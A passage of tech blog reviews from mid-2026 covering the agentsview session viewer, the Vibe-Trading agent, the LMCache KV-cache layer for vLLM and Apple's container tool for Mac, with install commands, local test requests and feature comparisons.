agentsview binds to 127.0.0.1 only and validates the request Host header to protect against DNS-rebinding attacks. That's correct security defaults, but it means that if you try to reach it over SSH port forwarding or from a remote dev environment (exe.dev, Codespaces, Coder, WSL2), API calls get rejected with 403 Forbidden.

The fix is documented and clean:

# Browser opens http://127.0.0.1:18080 via `ssh -L 18080:127.0.0.1:8080 host`
agentsview serve --public-url http://127.0.0.1:18080

# Browser opens a forwarded hostname like https://your-workspace.exe.dev
agentsview serve --public-url https://your-workspace.exe.dev

For any setup that genuinely exposes the UI beyond loopback, also pass --require-auth. The Docker compose example explicitly publishes only on 127.0.0.1 for the same reason.

Honest limitations

A few caveats before you brew install --cask:

SQLite is fine until it isn't. The default backend works for tens of thousands of sessions. If you're an enterprise team mirroring sessions from multiple machines, agentsview supports a PostgreSQL backend (PG_SERVE=1, AGENTSVIEW_PG_URL=...) and an experimental DuckDB mirror with a "Quack" remote-query layer. Those are documented but newer; expect rough edges if you're the first person at your company to use them.

Containerized sessions only see what you mount. If you run agentsview in Docker, it can only discover the agent directories you explicitly mount as volumes. Forget to mount Codex, and Codex won't appear in the UI. The README is clear about this — but it bit me the first time, so worth flagging.

Git outcomes are opt-in for a reason. --include-git-outcomes runs git log and git diff --shortstat across your repos to attribute LOC changes to sessions. On a 100K-file monorepo this is slow. Don't enable it by default; run it on a cron once a day if you want the data.

Per-session cost can be null for new models. Pricing comes from LiteLLM's rate table. If you're using a freshly released Anthropic or Bedrock model that LiteLLM hasn't picked up yet, has_cost will be false and the cost column will be empty for those sessions. The fix is upstream — pip install -U litellm and re-run.

Docker container runs as root. The default image runs as root, which is fine inside a container but means bind-mounting /data to your host home directory creates root-owned files. Prefer named volumes, or pre-create the directory with the ownership you want.

FAQ

Q: How does this compare to ccusage?
ccusage is Claude-Code-only and re-parses JSONL on every invocation. agentsview covers 20+ agents, indexes once into SQLite, and queries are ~100× faster. The cost math is also more accurate because agentsview separates cache-creation tokens from cache-read tokens; ccusage doesn't. If you only use Claude Code, ccusage is fine. If you use anything else alongside it, switch.

Q: Does it phone home or upload my session data anywhere?
No. The binary binds to 127.0.0.1, there are no accounts, no telemetry, and no cloud component. Everything lives in ~/.agentsview/sessions.db. The optional GitHub Gist export only runs when you click "publish" on a specific session.

Q: Will it work with self-hosted models (Ollama, vLLM, LM Studio)?
Sessions from agents that talk to self-hosted models still get indexed — the message content, tool calls, and metadata all show up. Cost tracking won't return USD figures for them (since the models are free), but token counts and session structure are fully captured.

Q: Can I use it on a server that runs my CI agents?
Yes. The standalone agentsview usage daily --json mode doesn't require the server — you can SSH into a build box, run it, and pipe the JSON into Prometheus or a Slack webhook. If you want the web UI on a CI host, run with --require-auth and --public-url set to the hostname.

Q: What happens to my data if I uninstall?
The session files in ~/.claude/projects/ etc. are owned by the agents themselves, not by agentsview — uninstalling agentsview leaves them untouched. The only thing you'd delete is ~/.agentsview/ (the SQLite index and logs).

Q: Is there an MCP server so agents can query their own history?
Not yet, but it's the obvious next step and there's an open issue for it. For now, agents can hit the REST API at http://127.0.0.1:8080/api/v1/sessions/... if you want to wire it up manually.

Bottom line

agentsview is the rare GitHub-trending repo that solves an actually-painful problem and is engineered like a finished product, not a weekend hack. The default security posture is correct (loopback + Host validation). The CLI is scriptable and the JSON output is versioned. The cost math models prompt caching properly. The session-archetype analytics turn raw usage data into something you can reason about.

If you use more than one AI coding agent — and in mid-2026 that's most people — install it today: brew install --cask agentsview, then agentsview serve --background. The dashboard at http://127.0.0.1:8080 will pay for itself the first time you ask "what was I doing in Codex three weeks ago?" and get an answer in one keystroke.

Repo: github.com/kenn-io/agentsview. Docs and screenshots: agentsview.io. MIT licensed, Go, one binary. At 1,382 stars added this week, it's on track to be the default cross-agent session viewer of the year.

Vibe-Trading Review: HKU's Open-Source Trading Agent

Andrew — Thu, 18 Jun 2026 10:09:25 +0000

TL;DR

Vibe-Trading is HKU Data Science Lab's open-source trading agent that turns natural-language prompts into runnable market research, backtests, alpha benches, and — if you opt in — bounded live orders through a broker you authorize. It's been live since April 2026, is MIT licensed, sits at 12,526 GitHub stars (2,409 forks, 9 open issues), and has shipped daily updates through June.

The pitch is simple: most "AI trading" projects are either a thin ChatGPT wrapper that hallucinates ticker prices, or a backtest framework with no LLM in front. Vibe-Trading is one of the first that actually combines a real agent loop (48 tools, 77 finance skills, 29 multi-agent presets) with the boring infrastructure quant work actually needs — point-in-time data loaders, lookahead-banned alphas, walk-forward validation, a kill-switch broker connector, and an audit ledger.

Key facts:

12,526 GitHub stars, 2,409 forks, 9 open issues (extremely low for a project this size — they're actively triaging)
Created 2026-04-01, hit PyPI on day 19; v0.1.9 is current
MIT licensed, FastAPI backend + React 19 frontend + Python 3.11+ agent core
48 agent tools, 77 finance skills, 29 swarm presets, 452 pre-built alphas
10 broker connectors (IBKR, Robinhood, Alpaca, Tiger, Longbridge, OKX, Binance, Futu, Dhan, Shoonya) — most paper-only, a few gated for live with a mandate + kill switch
13+ LLM providers — Claude (Opus 4.8+), GPT, Gemini 3.x, Kimi, DeepSeek, Z.ai, MiniMax, Qwen, OpenRouter, Ollama, Codex, GLM/Zhipu, MoonShot
Bills itself as research-first — never custody, never trades outside your committed limits

It's the rare "vibe-trading" repo that doesn't immediately fall apart when you actually try to ship a strategy from it.

Who Builds This and Why It Matters

HKUDS is the Data Science Lab at the University of Hong Kong. Their previous open-source releases (LightRAG, GraphGPT, MMSSL) are among the most-cited graph + recommendation system repos on GitHub, and they have a track record of shipping research artifacts that actually run, not just awesome-list README repos.

That academic anchor is doing real work here. "AI trading bot" is the most-spammed category on GitHub. The thing that separates Vibe-Trading from the 10,000 LangChain-plus-yfinance demos is the lab actually understands point-in-time data, the lookahead-bias trap, and why a 191-alpha factor library needs an AST purity gate before it's safe to bench. Every alpha shipped in their Alpha Zoo (Qlib 158, Kakushadze Alpha101, GTJA 191, Fama-French 5 + Carhart) is paired with a license file and a same-universe random-control test to catch factors that just track market beta.

The Trendshift trending badge plus 12.5K stars in 2.5 months also tells you something: this is filling a real gap.

What "One Command to Empower Your Agent" Actually Looks Like

The whole pitch fits in one bash block:

pip install vibe-trading-ai

# Natural-language research
vibe-trading run -p "Backtest a BTC-USDT 20/50 moving-average strategy for 2024, summarize return and drawdown, then export the report"

# Bench a pre-built alpha zoo (one line)
vibe-trading alpha bench --zoo gtja191 --universe csi300 --period 2018-2025 --top 20

# Compare alphas head-to-head
vibe-trading alpha compare alpha012 alpha034 alpha101 --sort ir

That second command is the differentiated one. It says: take the 191 alphas from Guotai Junan's 2014 short-horizon factor report, bench all of them on the CSI 300 universe from 2018 through 2025, sort by Information Coefficient, and print the top 20. Three minutes ago that was a half-week of pandas yak-shaving. Now it's a single line, and every alpha has a license attribution baked into the result.

The Web UI does the same thing with a chat interface, an Alpha Zoo "Compare" tab, and a live swarm dashboard. The CLI version stays the production surface because it's scriptable and the team treats --version, vibe-trading provider doctor, and vibe-trading resume <session-id> like first-class citizens.

The Four Things It Actually Does Differently

1. Shadow Account — diagnose your own trades

This is the feature that earned the project its 0.1.5 release. Upload a CSV exported from your broker — Tongdaxin (同花顺), East Money (东方财富), Futu, or any generic format — and the agent extracts your behavior:

vibe-trading --upload trades_export.csv
vibe-trading run -p "Analyze my trading behavior, extract my shadow strategy, and compare it with my actual trades"

It produces a holding-days profile, win rate, PnL ratio, max drawdown, and four bias diagnostics (disposition effect, overtrading, momentum chasing, anchoring). Then it converts your recurring entries and exits into an explicit rule-based "shadow strategy," backtests it across markets, and shows you how much money your rule-breaking is costing. The output is an 8-section HTML/PDF report you can hand to a partner or archive for next quarter's review.

This isn't a model. It's deterministic OHLCV feature evaluation, recently upgraded from a calendar-phase stub. It does the un-sexy thing well.

2. Connector-first broker architecture with a real kill switch

The trading layer has 10 brokers and treats paper vs live as an attribute of the connector, not a global config:

vibe-trading connector list
vibe-trading connector use robinhood
vibe-trading connector account
vibe-trading connector positions
vibe-trading connector orders

For brokers whose API doesn't structurally separate paper from live (Longbridge, Dhan, Shoonya), live trading is structurally refused at the first line of place_order. For the five brokers that do support live (Robinhood Agentic, Tiger, Alpaca, OKX, Binance, Futu), there's a five-layer safety model:

User-committed mandate — symbol universe / order size / exposure / leverage / daily cap, all signed off explicitly
Filesystem kill switch — touch a file and every order halts before the next iteration
Fail-closed pre-trade gate — every order checked against the mandate before transit
Full audit ledger — every decision and order written, no silent retries
Auto-expiry — the mandate dies on its own schedule unless you re-commit

I've reviewed maybe 50 "agentic trading" repos this year. This is the only one I would actually trust with a $500 paper account, let alone a real one.

3. The Alpha Zoo — 452 pre-built alphas with attribution

Pre-built alphas with proper licensing is the kind of work no one does because it's not glamorous. Vibe-Trading shipped four zoos:

Zoo	Source	Alphas	License
`qlib158`	Microsoft Qlib	158	Apache-2 (attributed)
`alpha101`	Kakushadze 2015 paper (arXiv:1601.00991)	101	Paper rewrite
`gtja191`	Guotai Junan 2014 factor report	191	Source-cited
`academic`	Fama-French 5 + Carhart momentum	2	Public-domain proxies

Plus an AST purity gate (no I/O, no globals, no lookahead operators) and pytest-socket as a network kill-switch in tests. The run_bench_strict() variant adds a same-universe random control and an OOS split to catch factors that just track market beta. This is the kind of plumbing PhD students at HKU spend a semester building. They open-sourced it.

4. Multi-agent swarms with real worker visibility

The 29 swarm presets aren't toys. The investment_committee preset runs a bull-bear debate, hands the conclusions to a risk reviewer, then to a portfolio manager for the final call. The quant_strategy_desk chains a screener → factor researcher → backtester → risk auditor. Each worker has its own tool set, including a local get_market_data tool that pulls through the same normalized loader as MCP — so you don't get the classic LangGraph failure where one worker hallucinates a price and contaminates the chain.

Workers stream their state (waiting / running / done / failed / blocked / retrying) into the chat timeline in real time, and a finished card rehydrates from the final run_swarm result on reconnect. That last bit matters more than it sounds: most swarm frameworks treat a UI disconnect as a permanent state loss.

Honest Limitations

This isn't ProductHunt copy. Things that aren't great yet:

The terminology is awful. "Vibe-Trading" is a name that sounds like a meme stock. Half the search results for "vibe trading" are TikTok how-to videos, not the repo. Discoverability suffers. (HKUDS clearly knows this — note the trendshift badge — but the name is sticky now.)
Robinhood Agentic is the only live broker that's been verified end-to-end. The others are paper-account or read-only by current design. If you want fully autonomous live execution on Interactive Brokers, you're still waiting on their official remote MCP path to stabilize.
Cost transparency is incomplete. Per-run token usage now persists as llm_usage.json (added 2026-06-14), but it's provider-reported only with no price estimation. You still have to multiply yourself.
Provider quirks bite. Multiple recent releases are dedicated to fixing DeepSeek hangs, Kimi User-Agent rejections, and Gemini 3.x thoughtSignature round-tripping. The "agent loop avoiding assistant-prefill messages rejected by Opus 4.8+" was a fix shipped on 2026-06-17. The capability layer is much better than v0.1.0, but if you run a less-common provider, expect to file an issue or two.
The repository is huge. First-time clone + dev install is real work. The Docker image is the recommended on-ramp, and vibe-trading init does the right thing for the bare-CLI path, but going from pip install to a benched alpha on the CSI 300 universe is not a five-minute experience the first time.
A-share bias. The lab is at HKU and roughly half the loaders, brokers, and presets are tuned for Chinese markets. US-only users will use maybe a third of the features. (That's also a strength — the Chinese-market support is by far the best you'll find in any English-readable open-source project.)

How It Compares

Three points of comparison worth naming:

vs. FinRobot / FinGPT (AI4Finance Foundation): AI4Finance's projects are still the most-starred in the category, but most of them are research artifacts that haven't shipped a working CLI in 6+ months. Vibe-Trading ships weekly, has live PyPI releases, and is much more "actually a tool you'd use" than "a paper with attached code."

vs. CrewAI + a custom yfinance tool: CrewAI is more general-purpose but you're building the entire alpha library, backtest engine, broker connector, and safety layer yourself. Vibe-Trading gives you all of that for free with the same multi-agent pattern.

vs. QuantConnect Lean / Backtrader: Lean and Backtrader are still the right answer if you already know exactly what backtest you want to run. Vibe-Trading is the right answer if you want to ask "is this strategy idea worth testing at all?" in plain English first, then iterate.

Community Reactions

The repo's velocity speaks for itself: 12.5K stars in 79 days, 4 translated READMEs (Chinese, Japanese, Korean, Arabic), a Discord, a public wiki at vibetrading.wiki, and a Cloudflare Pages-hosted Alpha Library that auto-renders every shipped alpha.

The PRs and issue triage tell a more interesting story. Almost every recent News entry is a fix credited to a community contributor (thanks @BillDin, thanks @LemonCANDY42, thanks @Teerapat-Vatpitak, thanks @mvanhorn, and many more). The 9 open issues number is real — the team aggressively triages and closes, which is the strongest signal that maintainer attention is high. A 12.5K-star repo with single-digit open issues two months in is something I see roughly once a year.

There's a Hacker News thread asking "Anybody keep hearing about vibe-trading on TikTok and Reddit? Who has tried it" from October 2025 — predating this repo — that suggests the term itself was already in the air, which probably helped the project's initial discovery.

FAQ

Is Vibe-Trading actually safe to use with a real brokerage account?

The safety model is solid for what it claims: a committed mandate, a kill switch, an audit ledger, and structural refusal of live trading for brokers that can't separate paper from live. The team is explicit about this being experimental and recommends paper accounts first. I would absolutely paper-trade it; I would only live-trade after running paper for at least a month with the same mandate I planned to use live. That advice is also exactly what their README says.

How does it handle lookahead bias and data leakage?

This is where the academic provenance shows. Every alpha in the Alpha Zoo passes an AST purity check before it can be benched (no I/O, no globals, no lookahead operators), pytest-socket is used as a network kill-switch in tests, and run_bench_strict() adds a same-universe random control plus OOS split. Point-in-time financial-statement enrichment fails fast rather than silently falling back to raw bars. This is markedly better than 95% of the "AI quant" repos on GitHub.

Can I use it with a local LLM via Ollama?

Yes, and the Docker workflow even has a host-side Ollama default (OLLAMA_BASE_URL=http://host.docker.internal:11434) that "just works" on Docker Desktop and Linux. Smaller local models will struggle with the multi-agent presets — those want a real frontier model — but for simple vibe-trading run -p "<question>" calls and alpha benches, a quantized Qwen3 or Llama 3.5 8B is enough. Pair it with whichllm to pick the right model for your hardware before you commit.

What's the difference between Vibe-Trading and just asking ChatGPT?

ChatGPT will hallucinate prices, can't backtest, has no access to PIT financial statements, can't bench 191 alphas on a real universe, and can't issue a paper order to your broker. Vibe-Trading is the agent loop that uses an LLM as the planning brain and routes everything else through deterministic finance tools — backtest engines, data loaders, the alpha registry, broker connectors. It's the difference between "a model that knows about trading" and "a system that does trading work."

Should You Try It?

Try it if you:

Want to test a strategy idea quickly without writing the backtest plumbing yourself
Have a broker CSV sitting in a folder and have been meaning to audit your own trading
Work on Chinese or Hong Kong markets and want the best open-source coverage available
Are research-curious about quant alphas but didn't want to spend two weeks on the AST safety layer
Want a multi-LLM-provider agent that doesn't lock you into one API key

Skip it if you:

Already have a working Lean / Backtrader pipeline and don't need an LLM front-end
Only trade US equities and don't care about the A-share-heavy data layer
Need real-time, sub-second tick execution (this is research-grade, not HFT)
Are looking for an "AI bot that prints money" — that's not what this is, and the team is clear about that

pip install vibe-trading-ai and start with the BTC moving-average backtest example. If you finish that and feel underwhelmed, you can be confident in walking away. If you finish it and immediately go look for your broker's CSV export — like I did — you've found a project worth the next few hours of your week.

Vibe-Trading is open source on GitHub, available via pip install vibe-trading-ai, has its own wiki, and has a Discord linked from the README. MIT licensed, so you can fork it.

LMCache Review: 3-10x Faster vLLM via KV Cache Reuse (2026)

Andrew — Wed, 17 Jun 2026 10:09:30 +0000

TL;DR

LMCache is an open-source Key-Value caching layer that sits between vLLM (or SGLang) and your storage hierarchy, turning the KV cache from an in-GPU scratchpad into a persistent, reusable, vendor-neutral asset. The numbers are big: 3.7–6.8x lower TTFT (time-to-first-token), up to 15x throughput improvement in chatbot and RAG workloads, and a 10x boost on Mixture-of-Experts inference after the April 2026 multiprocess rearchitecture.

The project came out of breakthrough research at the University of Chicago, joined the PyTorch Foundation in October 2025, and is now integrated into NVIDIA Dynamo, IBM's open-source LLM serving stack, CoreWeave's production inference for Cohere, and the official vLLM production-stack. As of June 2026 it has 9.2K+ GitHub stars, 709 added this week, and a growing list of enterprise adopters who needed somewhere to put 1–2 GB of KV cache that wasn't expensive H100 HBM.

Key facts:

Apache 2.0, open source at LMCache/LMCache
Vendor-neutral by design — works with vLLM, SGLang, NVIDIA Dynamo, multiple hardware vendors (NVIDIA, AMD MI300X, Arm, Huawei Ascend), and storage backends (CPU RAM, local SSD, Redis/Valkey, Mooncake, InfiniStore, S3-compatible, NIXL, GDS)
Two deployment modes — Multiprocess (standalone daemon, recommended) and In-process (embedded in vLLM)
Non-prefix KV reuse via CacheBlend — reuse cached blocks at any position in the prompt, not just shared prefixes
PD disaggregation support — transfer KV cache from prefill workers to decode workers over NVLink, RDMA, or TCP
Production observability — Kubernetes-native metrics, request-level and token-level cache hit ratios
Engine-independent — cache survives even if the inference engine crashes
Day-1 support for gpt-oss 20B/120B, Qwen3 series, Llama 3, and most modern model families

What LMCache Actually Solves

The KV cache is the single biggest performance lever in LLM serving, and almost nobody outside of model-serving teams understands it. Quick refresher: when an LLM processes a prompt, every token's attention computation produces Key and Value tensors. For a 32K-token context on a 70B model, that's roughly 1–2 GB of KV cache per request. The cache lets the model decode subsequent tokens without recomputing the prompt. Lose it, recompute. Long prompt? Long recompute.

The default behavior of every modern inference engine is brutal: KV cache lives in GPU HBM, gets evicted when memory pressure hits, and dies when the engine restarts. If a user comes back 5 minutes later with a follow-up question on the same 50-page document, the engine redoes the entire prefill — that's your TTFT spike.

LMCache fixes this with three big ideas:

1. Tiered offloading. Move KV blocks from GPU HBM → CPU RAM → local SSD → remote storage (Redis, S3, Mooncake, etc.). When you need them back, retrieve only the relevant blocks via a high-throughput connector.

2. Cross-engine sharing. Multiple vLLM instances can share one KV cache pool. The LMCache server runs as a standalone daemon, so engines come and go without losing cached state.

3. Non-prefix reuse via CacheBlend. Prefix caching (vLLM's built-in feature) only helps when the exact prefix matches. CacheBlend reuses KV blocks at any position by selectively recomputing a small number of tokens to recover quality. This is the unlock for RAG, where you stitch retrieved chunks into a fresh prompt every time.

The first two are operational wins. The third is what makes LMCache fundamentally more powerful than vLLM's stock prefix cache.

Why It's Trending Now (June 2026)

Three concurrent waves:

Agentic workloads broke prefix caching. Multi-turn agent loops generate prompts where the shared structure isn't at the front anymore — tool outputs, intermediate reasoning, and retrieved context all interleave. Stock prefix cache hit rates collapsed below 20% on agentic traffic. LMCache's April 2026 MoE rearchitecture and May 2026 AMD MI300X benchmark directly targeted this, showing 10x improvement on multi-turn workloads.
NVIDIA Dynamo shipped with LMCache integration in September 2025, putting it in front of every team running NVIDIA's reference inference stack.
Tensormesh launched in October 2025 as the commercial steward, providing enterprise support while keeping the project Apache 2.0. That removed the "who maintains this in production?" objection for risk-averse buyers.

The HN thread from July 2025 (Lossless LLM 3x Throughput Increase by LMCache) and the r/LocalLLaMA post (We built this project to increase LLM throughput by 3x) were both turning points — IBM's adoption announcement in the comments gave it credibility, and the project has compounded since.

Install & First Run (60 Seconds)

The cleanest path is vLLM + LMCache via uv:

uv venv --python 3.12
source .venv/bin/activate
uv pip install lmcache vllm

Two deployment modes are available. Multiprocess (MP) mode is now the recommended default because the cache survives engine crashes and one server can feed multiple vLLM instances.

MP mode — start the LMCache server in one terminal:

lmcache server \
  --l1-size-gb 20 \
  --eviction-policy LRU \
  --chunk-size 256

The ZMQ port (default 5555) accepts engine connections; the HTTP frontend (default 8080) exposes Prometheus-compatible metrics and a management API.

Start vLLM with the MP connector in a second terminal:

vllm serve Qwen/Qwen3-8B \
  --port 8000 \
  --kv-transfer-config \
  '{"kv_connector":"LMCacheMPConnector",
    "kv_connector_module_path":"lmcache.integration.vllm.lmcache_mp_connector",
    "kv_role":"kv_both"}'

The kv_connector_module_path override is important: it pins the connector to the LMCache-shipped implementation rather than vLLM's vendored copy, so you get the latest server protocol and fixes.

In-process mode is one command if you just want a single-node setup:

vllm serve Qwen/Qwen3-8B \
  --kv-offloading-backend lmcache \
  --kv-offloading-size 20 \
  --disable-hybrid-kv-cache-manager

That last flag is mandatory in in-process mode — forgetting it is the single most common setup mistake reported in the GitHub issues.

Production Test — Long-Doc Q&A

The canonical benchmark workload looks like this. Two requests share a long document prefix; the second one should hit cache.

# First request — cache is cold, full prefill happens
curl http://localhost:8000/v1/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "Qwen/Qwen3-8B",
    "prompt": "<50-page document>... Summarize section 3.",
    "max_tokens": 200
  }'

# Second request — same document, different question
curl http://localhost:8000/v1/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "Qwen/Qwen3-8B",
    "prompt": "<50-page document>... What are the limitations?",
    "max_tokens": 200
  }'

You'll see logs like this from the LMCache server on the cold pass:

[2026-04-22 19:49:56,316] LMCache INFO: Stored 256 tokens in 0.023 seconds
[2026-04-22 19:49:56,555] LMCache INFO: Stored 256 tokens in 0.005 seconds
...

And retrieval on the second request:

[2026-04-22 19:50:04,686] LMCache INFO: Retrieved 256 tokens in 0.003 seconds
[2026-04-22 19:50:04,968] LMCache INFO: Stored 256 tokens in 0.005 seconds

In the ceph.io benchmark with Qwen3-32B on a long-doc workload, TTFT dropped from ~6.5 seconds to ~0.4 seconds on the cached pass — roughly 16x faster on the cache hit path. Across the full LMCache paper (arXiv 2510.09665), the average improvement is 3.7–6.8x TTFT reduction and 19x inter-token-latency reduction on TriviaQA-style long-context workloads.

Benchmarks That Matter

A few numbers from peer-reviewed and vendor benchmarks:

Workload	Engine	Before	After LMCache	Speedup
Multi-round chat (LMCache paper)	vLLM	baseline	3.7–6.8x lower TTFT	3.7–6.8x
TriviaQA long-context	vLLM	baseline	19x lower ITL	19x
RAG document QA (ceph.io)	vLLM + Ceph	6.5s TTFT	0.4s TTFT	~16x
Multi-turn agentic (AMD MI300X)	vLLM	baseline	10x throughput	10x
MoE inference (Qwen3-235B)	vLLM 0.18.1	baseline	10x throughput	10x
Chatbot + RAG (PyTorch blog)	vLLM	baseline	up to 15x throughput	15x

Two important caveats. First, these are cache-hit benchmarks. If your workload has near-zero prompt overlap (e.g., one-shot classification of unique inputs), LMCache won't help — and can add small overhead. The open GitHub issue #1812 shows exactly this: a benchmark designed without prefix overlap measured higher latency with LMCache enabled, which is the expected behavior. Match the tool to the workload.

Second, on the Level Up Coding benchmark, a small-model single-node Colab test, vLLM's built-in prefix cache was actually faster than LMCache for the common case where everything fits in HBM. LMCache's win condition is when your working set exceeds GPU memory — exactly the case in production multi-tenant serving and long-context RAG.

Community Reactions

From the r/LocalLLaMA launch thread:

From the HN thread:

From r/mlops on production prefix-cache hit rates:

The general sentiment in production inference circles: LMCache stopped being optional once you hit two conditions — long contexts (>8K tokens routine) and multi-tenant serving where cache eviction is constant. Below those thresholds, vLLM's built-in prefix cache is enough and adding LMCache is over-engineering.

Honest Limitations

A frank list of things to weigh before adopting:

Not a magic bullet for stateless workloads. Classification, embeddings, one-shot translation — workloads with no prompt overlap — get no benefit and a small overhead penalty. Measure before deploying.
Operational complexity. MP mode means an additional daemon process, ZMQ ports, l1/l2 tiering, eviction policy tuning, and Prometheus scraping. In-process mode is simpler but loses the cross-engine sharing benefit.
Vendor moves fast. The connector interface changed between vLLM 0.18 and 0.20 (the kv_connector_module_path override exists precisely because of this). Pin versions in production and read release notes.
CacheBlend has a quality recovery step. Non-prefix reuse selectively recomputes tokens to repair quality, but this isn't free — there's a CPU/GPU cost. For high-quality-bar applications (legal, medical), validate accuracy on your golden set.
Storage backend complexity. S3-compatible and InfiniStore add the usual distributed-systems failure modes (network partitions, consistency edge cases). Start with CPU+SSD tiering and only move to remote storage when you genuinely need cross-node sharing.
No managed offering from the project itself. Tensormesh sells enterprise support, but if you want fully-managed serving, you're combining LMCache with vLLM-on-Kubernetes yourself (or using the official production-stack Helm chart).

When to Choose LMCache vs Alternatives

vs vLLM's built-in prefix cache — vLLM's prefix cache is great until your working set exceeds HBM or your prompts share content that isn't at the start. LMCache wins on both.
vs SGLang's RadixAttention — Comparable in design philosophy. LMCache is more vendor-neutral and has stronger ecosystem integrations (Dynamo, IBM, PyTorch Foundation membership). SGLang ships RadixAttention as a built-in.
vs custom KV cache solutions — If you already built one (and many production inference teams have), LMCache's value is the connector ecosystem and the published research backing CacheBlend.
vs not caching at all — If you're running short-context, low-overlap workloads, you don't need a KV cache layer. Don't add LMCache as a default — measure first.

FAQ

Q: What's the actual TTFT reduction I should expect for RAG?
A: 3–16x depending on document overlap and context length. The high end (16x) requires real overlap across queries on the same documents; expect 3–5x on a typical mixed RAG workload with moderate reuse. The published LMCache paper reports 3.7–6.8x as the consistent range.

Q: Does LMCache work with closed-source APIs like OpenAI or Claude?
A: No. LMCache operates on KV tensors inside the inference engine, so it only works with engines you self-host (vLLM, SGLang, NVIDIA Dynamo). Closed APIs expose only the chat interface and handle caching internally.

Q: Can I run LMCache on Apple Silicon / CPU only?
A: Not as a primary serving stack — LMCache is a layer for GPU-based inference engines. You can run the cache server on CPU and offload to it, but the actual model serving needs vLLM/SGLang which require CUDA, ROCm, or compatible accelerators. AMD MI300X, Arm, and Huawei Ascend are explicitly supported.

Q: Does it work with quantized models (FP8, INT4)?
A: Yes. LMCache caches the KV tensors regardless of model weight quantization — the KV cache itself is independent of weight dtype. Day-1 support is shipped for gpt-oss 20B/120B FP8 and most quantized Qwen3 / Llama variants.

Q: How does the cost math work in production?
A: The case study most cited is the CoreWeave + Cohere deployment, where LMCache let them serve the same throughput with less GPU memory pressure, deferring an HBM-bound capacity buy. The savings are highly workload-dependent — multi-turn chat and RAG get the biggest wins; agentic loops (the new hot workload) benefit if you use the MP mode with multi-engine sharing.

Q: Is the project actually production-ready, or still research?
A: Production-ready for the supported configurations. It's deployed at IBM, CoreWeave (for Cohere), inside NVIDIA Dynamo, and powers the official vLLM production-stack. PyTorch Foundation membership and the Tensormesh commercial support layer add the institutional backing that risk-averse buyers care about.

Bottom Line

If you self-host LLM inference at any meaningful scale, LMCache is now table stakes for long-context and multi-turn workloads. The combination of 3–10x TTFT/throughput wins, vendor-neutral storage backends, NVIDIA Dynamo integration, and PyTorch Foundation stewardship makes it the default open-source KV cache layer in 2026.

For one-shot, stateless, or short-context workloads, don't bother — vLLM's built-in prefix cache is fine. For everything else: install it, run the long-doc benchmark on your traffic, and you'll see the hit rate justify the daemon.

Project: github.com/LMCache/LMCache — Apache 2.0, 9.2K+ stars, PyTorch Ecosystem.

Apple Container Review: A Native Docker Alternative for Mac

Andrew — Tue, 16 Jun 2026 10:09:24 +0000

TL;DR

apple/container is Apple's first-party tool for running Linux containers on Mac — written in Swift, optimized for Apple silicon, and built on top of the new macOS 26 Virtualization framework. It's the #2 trending GitHub repo this week with 37,648 stars total and 10,541 new stars in the past seven days, sitting right next to the mvanhorn/last30days-skill skill at the top of the trending list.

The model is genuinely different from Docker Desktop: instead of one shared Linux VM hosting all your containers, every container runs in its own dedicated lightweight VM. That sounds heavy. It isn't — boot times are comparable to shared-VM containers, and per-container memory is lower because each VM only includes the kernel surface that one image actually needs.

Key facts:

37,648 GitHub stars (10,541 this week, #2 trending overall)
Apache 2.0 license, written in Swift
Apple silicon only — no Intel Mac support, ever
macOS 26 required — the team explicitly will not fix bugs reproduced on older macOS
OCI-compatible — pulls and pushes to any standard registry (Docker Hub, GHCR, ECR, GAR)
Each container = its own VM, using the Containerization Swift package
Container Machine (new this week) lets you spin up persistent Linux dev VMs with your dotfiles baked in
Embedded DNS (container system dns create test) gives every container name.test resolution automatically
Currently 0.4.x — minor versions can break, 1.0 not yet shipped

If you've been paying for Docker Desktop on a M-series Mac purely because OrbStack made you nervous about going all-in on a non-Docker option, this is the third viable choice — and the only one shipped by the OS vendor.

Quick Reference

Field	Value
Repo	apple/container
Stars	37,648 (10,541 this week, #2 trending)
License	Apache 2.0
Maintainer	Apple (`/jglogan`, `/katiewasnothere`, `/dcantah`, `/dkovba`, `/realrajaryan`)
Language	Swift
Underlying package	apple/containerization
Host requirement	macOS 26, Apple silicon
Install	Signed `.pkg` from releases
Image format	OCI v1
Default kernel	Kata Containers 3.17.0 (static arm64)
Network backend	macOS `vmnet` framework

What is Apple Container actually doing?

The CLI surface looks deliberately Docker-shaped:

container build --tag web-test --file Dockerfile .
container run --name my-web-server --detach --rm web-test
container ls
container logs my-web-server
container exec -it my-web-server sh
container stop my-web-server

If you replaced container with docker you'd barely notice. That's the point — Apple is not trying to invent a new mental model, just trying to make the runtime under it native.

The runtime is where it gets interesting. From the technical overview:

That breaks down into three concrete wins versus the shared-VM model that Docker Desktop, Colima, and OrbStack all use:

Security — Each container has full VM isolation. The attack surface inside one container can't reach the kernel of another container, because it's a literally separate kernel.
Privacy — --volume mounts only touch the VM for that specific container. With a shared VM, every directory you might ever want to mount has to be reachable by the host VM, then bind-mounted selectively into containers.
Memory — Each VM only pages in the libraries that one image needs. A 200MB Alpine + Python image really does run in ~200MB of guest memory, not 200MB plus a multi-GB shared kernel.

The trade-off is honest: boot time is comparable, not better, because per-container VM startup is fast (microvm-style) but not free. And memory ballooning back to macOS is incomplete — once a container has grabbed RAM, returning it to the host is partial, so if you have 10 containers idling, they collectively still hold their high-water-mark memory.

Installing and the first `hello world`

The install is a signed .pkg from GitHub releases. Double-click, type your password, and it drops binaries under /usr/local.

# Start the service (launchd-managed)
container system start

# First run prompts to fetch the Kata kernel
# Installing base container filesystem...
# Install the recommended default kernel from
#   https://github.com/kata-containers/kata-containers/releases/download/3.17.0/...
# [Y/n]: y

# Verify
container list --all
# ID  IMAGE  OS  ARCH  STATE  IP

A web server Dockerfile that works unchanged from Docker:

FROM docker.io/python:alpine
WORKDIR /content
RUN apk add curl
RUN echo '<!DOCTYPE html><html><body><h1>Hello, world!</h1></body></html>' > index.html
CMD ["python3", "-m", "http.server", "80", "--bind", "0.0.0.0"]

Build, run, hit it:

container build --tag web-test --file Dockerfile .
container run --name my-web-server --detach --rm web-test

container ls
# ID             IMAGE             OS     ARCH   STATE    IP
# buildkit       container-builder linux  arm64  running  192.168.64.2
# my-web-server  web-test:latest   linux  arm64  running  192.168.64.3

curl http://192.168.64.3
# <!DOCTYPE html><html><body><h1>Hello, world!</h1></body></html>

Notice the IP is real and routable from the Mac host directly — no port-forwarding gymnastics. That's the vmnet framework doing its job.

The Container Machine feature (new this week)

